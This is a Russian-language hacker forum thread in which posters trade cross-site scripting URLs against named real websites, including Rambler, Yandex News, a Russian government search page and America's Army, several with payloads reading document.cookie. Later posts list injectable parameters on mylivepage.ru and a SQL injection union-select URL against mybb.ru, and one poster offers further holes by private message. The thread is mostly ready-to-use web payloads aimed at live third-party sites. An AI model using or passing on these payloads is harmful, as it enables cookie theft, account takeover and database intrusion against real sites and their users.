http://www.interrus.ru/journal/bzn.php?interrus=business&page=comments?idea=%3Csc ript%3Ealert(/xss/)%3C/script%3E

http://search.spb.tele2.ru/portalsea...CF%EE%E8%F1%EA
вот еще на сайте оператора сотовой свзи

pacimu vsegda alert ... vi ni mojete delat drugoy xss ?

Если есть алерт, то знающему человеку не составит труда сделать из небольшой шутки грозное оружие...

например confirm() или что-то типо

if (confirm("You are stupid??????")) {
alert("Странно, щас проверим!"); }
else {
alert("Не ври мне!");
}

завалявшееся:

http://smi.rambler.ru/main.cgi?action=<script>alert(document.cookie)</script>

http://news.yandex.ru/yandsearch?cl4url=www.utro.ru/news/2005/11/12/494551.shtml&country=Russia&cat="><script>alert(do cument.cookie)</script>

http://www.government.gov.ru/search/search.html?query="><script>alert('VectorG')</script>&page=1&book=0&he_id=38&pres_he_id=38

http://www.americasarmy.com/includes/bumper.php?goto="><script>alert()</script>

ещё есть новая xss на рамблер.ру, кому надо пишите в ПМ

Вот решил выложить пару XSS с mylivepage.ru.... Выкладываю без алерта и всегопрочего ... Может еще работают =)

/login?name=&password=&return_url=http://name_site.mylivepage.ru/forum/36/11/%D0%9A%D1%82%D0%BE%20%D0%B1%D1%8B%D0%BB%20%D1%83%2 0%D0%BC%D0%B5%D0%BD%D1%8F%20%D0%BD%D0%B0%20%D1%81% D0%B0%D0%B9%D1%82%D0%B5%3F%3F%3F&login=[код]

/link?message_logintype=anonymous&message_logintype =login&message_login=&message_password=&link_url_s ubject=http://&add_link_url_action=[код]

/login?name=&password=&return_url=http://site_name.mylivepage.ru/link/39/71&login=[код]

/counter?type=[код]

/wiki/22/15?message_logintype=anonymous&message_logintype=l ogin&message_login=&message_password=&message_subj ect=&message_subscribe=&message_add_action=Отп� �авить+комментарий&message_rows=[код]

/friend?page=[код]&act=idx&type=image


ну и может кому понадобится для хохмы... Так как она никакой ценности не имеет

http://mybb.ru/cat.php?cat=[код]

Хрена себе не имеет

_http://mybb.ru/cat.php?cat=-1%20union%20select%201,2,3,4000000000000000000,5,6 ,7,8,9,10,11,12/*

Прикольнодо чего разработчики докатились что у них= наоф сайте уже баги есть......